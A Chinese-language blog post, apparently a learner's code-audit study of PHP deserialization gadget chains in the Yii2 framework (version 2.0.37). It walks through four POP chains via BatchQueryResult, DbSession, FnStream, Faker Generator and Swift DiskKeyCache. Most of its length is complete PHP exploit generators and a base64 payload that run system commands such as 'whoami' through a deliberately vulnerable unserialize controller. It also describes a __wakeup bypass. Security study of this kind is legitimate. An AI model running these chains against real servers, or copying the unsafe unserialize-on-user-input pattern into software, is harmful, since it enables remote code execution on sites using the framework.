前言
继续代码审计学习,这次分析Yii2 反序列链。
基础知识
对象序列化与反序列化
PHP的官方解析:
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
值得注意的点有两个:
- 第一序列化的时候只能保存对象的变量而不能保存其方法。
- 第二反序列的时候,会把对变量进行匹配并复制给序列后的对象。
例如以下代码:
<?php
Class Easy{
var $a = "phpinfo();";
function check(){
$this->a = "hello world";
}
}
$a = new Easy;
echo serialize($a)."<br>";
echo base64_encode(serialize($a));
?>
因为如果直接传递序列化后的值有可能反序列过程因为不能识别某些字符而反序列化失败这时候我们常常会使用base64进行一层加密:
下面序列化的结果:
O:4:"Easy":1:{s:1:"a";s:10:"phpinfo();";}
Tzo0OiJFYXN5IjoxOntzOjE6ImEiO3M6MTA6InBocGluZm8oKTsiO30=
从中我们可以看到传递过程没有类里面的方法,只有里面的变量。
在看看反序列化代码:
<?php
Class Easy{
var $a = "EASY";
public function test(){
@eval($this->a);
}
}
$a = unserialize(base64_decode($_GET['EASY']));
$a->test();
?>
当传入我们上面的序列化代码后$a就会匹配复制给phpinfo();
其实从中我们可以看到反序列化漏洞本质上是反序列化代码可控,黑客通过构造恶意序列化代码通过反序列化函数修改对应类中的变量最后达成我们想要的目的,所以我常喜欢把反序列化漏洞思考成变量覆盖漏洞。
魔法函数
序列化是将对象的属性进行格式的转换,但不会包括方法。所以如果想要反序列化达成恶意的操作必须需要方法的执行。要构造反序列化链启始我们当然需要自动执行方法-魔法方法,主要用的方法就是如下两个:
__destruct
__wakeup
最常用的魔法方法就是__destruct
特性是对象被销毁前被调用。
而__wakeup
方法其特性是反序列化时进行调用。
还有一些值得注意这里列举几个:
__call
当对象调用的方法不存在的时候该函数就会被调用__construct
对象被创建后自动调用的第一个方法。
其他还有很多可以在这里查看:https://www.twle.cn/c/yufei/phpmmethod/phpmmethod-basic-clone.html
环境搭建
作者的本地composer下载Yii失败了干脆直接去官方仓库里面clone下来。我clone的版本是2.0.37,下载下来放到web目录下修改/config/web.php
的内容
打开页面访问如下搭建成功:
构建demo,在控制器下传键一个TestController.php
代码如下:
<?php
namespace app\controllers;
use yii;
use yii\web\Controller;
class TestController extends Controller{
public function actionTest($message='hello'){
$data = base64_decode($message);
return unserialize($data);
}
}
?>
第一条POP链
漏洞位于:/vendor/yiisoft/yii2/db/BatchQueryResult.php
中使用了析构函数__destruct()
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
然后其调用了reset方法,跟进查看我们可以发现_dataReader是可控的。所以这里有两个思路:
- 通过控制_dataReader来访问其他类的close方法
- 当其他类存在__call()魔法函数并不存在close方法的时候我们也可以通过控制dataReader来进行调用。
首先我们来看看第一种方法:
全局查找close()
方法:
这里一条一条的查看,虽然大部分都无法直接利用但是存在几个漏网之鱼的。比如web/DbSession.php
文件下的close
方法:
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}
前面有个判断我们更进查看:
public function getIsActive()
{
return session_status() === PHP_SESSION_ACTIVE;
}
检测php的配置只要是安装了 debug和gi 扩展就可以返回 true,对于环境的利用一定的要求也是该链的一些缺点吧。
这里笔者环境是安装了的放回True放回跟进查看:
$this->composeFields()
调用composeFields
方法我们跟进查看:
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
注意这里的使用回调函数call_user_func
并且writeCallback
字段是我们可以控制的。但是这里call_user_func($this->writeCallback, $this)
只能使用无参数的方法。我们可以通过以下方法调用任意类中的方法:
$writeCallback=[(new xxx),"aaa"]; //调用 xxx类中的 aaa 方法
最后在yii\rest\IndexAction
中的run
方法中我们可以看到:
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
checkAccess
和id
都可控,可以达到我们任意命令执行的目的。
这里我们来总结一下整个POP链:
yii\base\BaseObject::__destruct
->yii\web\DbSession::close()
->yii\rest\CreateAction::run()
整个链清晰后我们开始编写exp进行漏洞复现
漏洞复现
exp如下:
<?php
namespace yii\rest {
class Action extends \yii\base\Action
{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\base {
class BaseObject
{
//
}
class Action
{
public $id;
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult extends BaseObject
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace{
$exp = new \yii\db\BatchQueryResult("system", "ipconfig");
print(base64_encode(serialize($exp)));
}
生成payload:
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6ODoiaXBjb25maWciO31pOjE7czozOiJydW4iO319fQ==
最后:
第二条POP链
第二条和第一条调用的思想几乎一样,不同点在于这次我 们控制_dataReader
去调用src/FnStream.php
下类的close方法。
如下:
_fn_close
可控,所以这里我们可以像上面一样传入一个数组调用任意类中的方法,然后在继续调用上面提到的run方法即可。
public function close()
{
return call_user_func($this->_fn_close);
}
但是在该类中我们可以看到魔法函数__wakeup
禁止了其反序列
这里我们可以使用CVE-2016-7124进行绕过,简单的来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
漏洞影响版本:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
exp如下:
<?php
namespace yii\rest {
class Action extends \yii\base\Action
{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace Psr\Http\Message{
interface StreamInterface{
}
}
namespace GuzzleHttp\Psr7{
use Psr\Http\Message\StreamInterface;
class FnStream implements StreamInterface {
public function __construct($func, $param)
{
$this->_fn_close=[new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\base {
class BaseObject
{
//
}
class Action
{
public $id;
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult extends BaseObject
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \GuzzleHttp\Psr7\FnStream($func, $param);
}
}
}
namespace{
$exp = new \yii\db\BatchQueryResult("system", "whoami");
print(base64_encode(str_replace(":1:{s:9",":2:{s:9",serialize($exp))));
}
因为本人的环境是php7.1.13所以没有测试成功~
第三条POP链
第三条POP链我们可以使用__call()
魔法函数,链的启始依旧是/vendor/yiisoft/yii2/db/BatchQueryResult.php
中使用了析构函数,然后其调用了reset方法,因为_dataReader是可控的所以我们控制其调用一个具有call()魔法函数并且没有close()方法的类的__call()方法。
这里全局搜索:function __call(
搜索到的第一条就有我们想要的:
src/Faker/Generator.php
中的__call()
方法:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
format两个变量都不可控我们先更进一下format
方法看看:
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
有一个回调函数!但是我们还不能直接利用继续跟进查看getFormatter
方法:
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
首先这里可以看到$this->formatters
这个数组是可控的。值得注意的是这里的存在一个isset判断但是$formatter
不可控,那它等于什么呢?认真观察其实这个函数其实由最开始的__call()
函数方法中的$method
传过来的,而该变量就等于close
这样我们就可以构造一个二维数组:
$this->formatters['close']=[xxx,'bb']
这样通过回调函数call_user_func_array
这里我们就可以调用xx类中的bb方法了。
从上面的第一第二条链分析我们依旧可以调用yii\rest\IndexAction
中的run
方法
最后整个POO链:
yii\db\BatchQueryResult::__destruct()
->Faker\Generator::__call()
->yii\rest\IndexAction::run()
### 漏洞复现
exp:
<?php
namespace yii\rest {
class Action extends \yii\base\Action
{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct()
{
$this->checkAccess = "system";
$this->id = "whoami";
}
}
}
namespace yii\base {
class BaseObject
{
//
}
class Action
{
public $id;
}
}
namespace Faker{
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new \yii\rest\IndexAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
我们之前到最后调用的都是rest/IndexAction.php::run()
方法来执行命令其实还有一个可调用的方法
其实还有一个可调用的命令执行的方法,位于rest/CreateAction.php
的run方法,和上面的一样非常简单回调函数的两个变量可控。
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
/* @var $model \yii\db\ActiveRecord */
$model = new $this->modelClass([
'scenario' => $this->scenario,
]);
$model->load(Yii::$app->getRequest()->getBodyParams(), '');
if ($model->save()) {
$response = Yii::$app->getResponse();
$response->setStatusCode(201);
$id = implode(',', array_values($model->getPrimaryKey(true)));
$response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
} elseif (!$model->hasErrors()) {
throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
}
return $model;
}
}
exp:
<?php
namespace yii\rest{
class CreateAction{
public $id;
public $checkAccess;
public function __construct()
{
$this->id = 'whoami';
$this->checkAccess = 'system';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
第三条没有php版本配置所影响属于相对最完美的一条利用链。
第四条POP链
该链启始位置位于 /vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
下的__destruct()
方法:
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
$this->keys
可控我们更进clearAll方法:
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
没什么特殊操作继续跟进clearkey查看:
public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->freeHandle($nsKey, $itemKey);
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
}
}
这里可以看到有字符的拼接 unlink($this->path.'/'.$nsKey.'/'.$itemKey);
当对象被当做字符使用的时候就会自动触发__tostring
魔法方法。
我们全局搜索一下__tostring
方法,很多都可以调用,其中我们看看该文件
src/DocBlock/Tags/Deprecated.php
下的__tostring
方法:
public function __toString() : string
{
return ($this->version ?? '') . ($this->description ? ' ' . $this->description->render() : '');
}
是否似曾相识,控制$this->description
调用__call
魔法函数,再一次回到前面的第三条链中.
漏洞复现
exp如下:
<?php
namespace yii\rest{
class CreateAction{
public $id;
public $checkAccess;
public function __construct()
{
$this->id = 'ipconfig';
$this->checkAccess = 'system';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class Deprecated{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys;
public function __construct()
{
$this->path = new Deprecated();
$this->keys = array("just"=>array("for"=>"ca01h"));
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
后言
在学习过程感觉反序列化真的挺好玩的一环接着一环。但是因为自已对其理解还是不够感觉exp自已也能看得懂但写的时候就感觉捉襟见肘了~~